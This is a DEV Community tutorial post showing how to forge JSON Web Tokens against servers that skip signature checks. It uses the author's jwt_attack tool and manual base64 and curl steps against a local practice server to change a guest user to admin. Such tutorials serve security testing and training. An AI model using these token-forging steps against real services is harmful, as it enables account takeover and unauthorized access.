DEV Community

Cover image for Exploiting unverified JWT signatures
fx2301
fx2301

Posted on

Exploiting unverified JWT signatures

Why?

Bypassing authentication is a major win as an attacker.

When?

Test for this exploit against all JWT implementations. It's so fast to do.

How?

Use the tool I've written, jwt_attack. Alternatively, make a whitespace modification to the header or payload, and use the unmodified signature. If the modified JWT is accepted then that means you can craft any payload you want.

Safe practice

The jwt_attack repo comes with a vulnerable server that you can attack.

Using jwt_attack

We pass the entire curl statement along with our desired JWT payload:

python3 jwt_attack.py --target-payload '{"username":"admin"}' \
  curl http://localhost:5000/signature_not_verified \
  -H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCJ9.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'
Enter fullscreen mode Exit fullscreen mode

We get back a token for our desired JWT payload as well as the curl statement to use:

Testing for identical results...
Attempting attack: signature not verified ... SUCCESS
Attempting attack: none algorithm allowed ... FAILURE

Successful JWT:
{
  "token": "eyJhbGciOiAiSFMyNTYiLCAicmFuZG9tIjogMC45ODM4NzE4NTA0NzEyODk5fQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU",
  "header": {
    "alg": "HS256",
    "random": 0.9838718504712899
  },
  "payload": {
    "username": "admin"
  },
  "signature": "8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU"
}

Successful curl command:
curl http://localhost:5000/signature_not_verified -H 'Authorization: eyJhbGciOiAiSFMyNTYiLCAicmFuZG9tIjogMC45ODM4NzE4NTA0NzEyODk5fQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'
Enter fullscreen mode Exit fullscreen mode

By hand

First let's decode the payload:

echo 'eyJ1c2VybmFtZSI6ICJndWVzdCJ9' | base64 -d              
{"username": "guest"} 
Enter fullscreen mode Exit fullscreen mode

Now we add some whitespace:

echo '{"username": "guest" }' | base64 
eyJ1c2VybmFtZSI6ICJndWVzdCIgfQo=
Enter fullscreen mode Exit fullscreen mode

Note that we have to be careful here because JWTs use a URL-safe variation of base64 encoding. In this case it means simply dropping the padding.

We put our token back together and retest our curl statement:

curl http://localhost:5000/signature_not_verified \
  -H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCIgfQo.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'
Enter fullscreen mode Exit fullscreen mode

We see the same response as we do with the unmodified token. So now we know we can make changes to our payload!

<p>Not quite. Your username needs to be admin.</p> 
Enter fullscreen mode Exit fullscreen mode
echo '{"username": "admin"}' | base64   
eyJ1c2VybmFtZSI6ICJhZG1pbiJ9Cg==
Enter fullscreen mode Exit fullscreen mode

Once against we reassemble our JWT and issue our new curl statement:

curl http://localhost:5000/signature_not_verified \
  -H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9Cg.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'
Enter fullscreen mode Exit fullscreen mode

We're in!

<p>Success! Your username is admin.</p>
Enter fullscreen mode Exit fullscreen mode

Art licensed under Creative Commons by OpenClipart-Vectors

Discussion (0)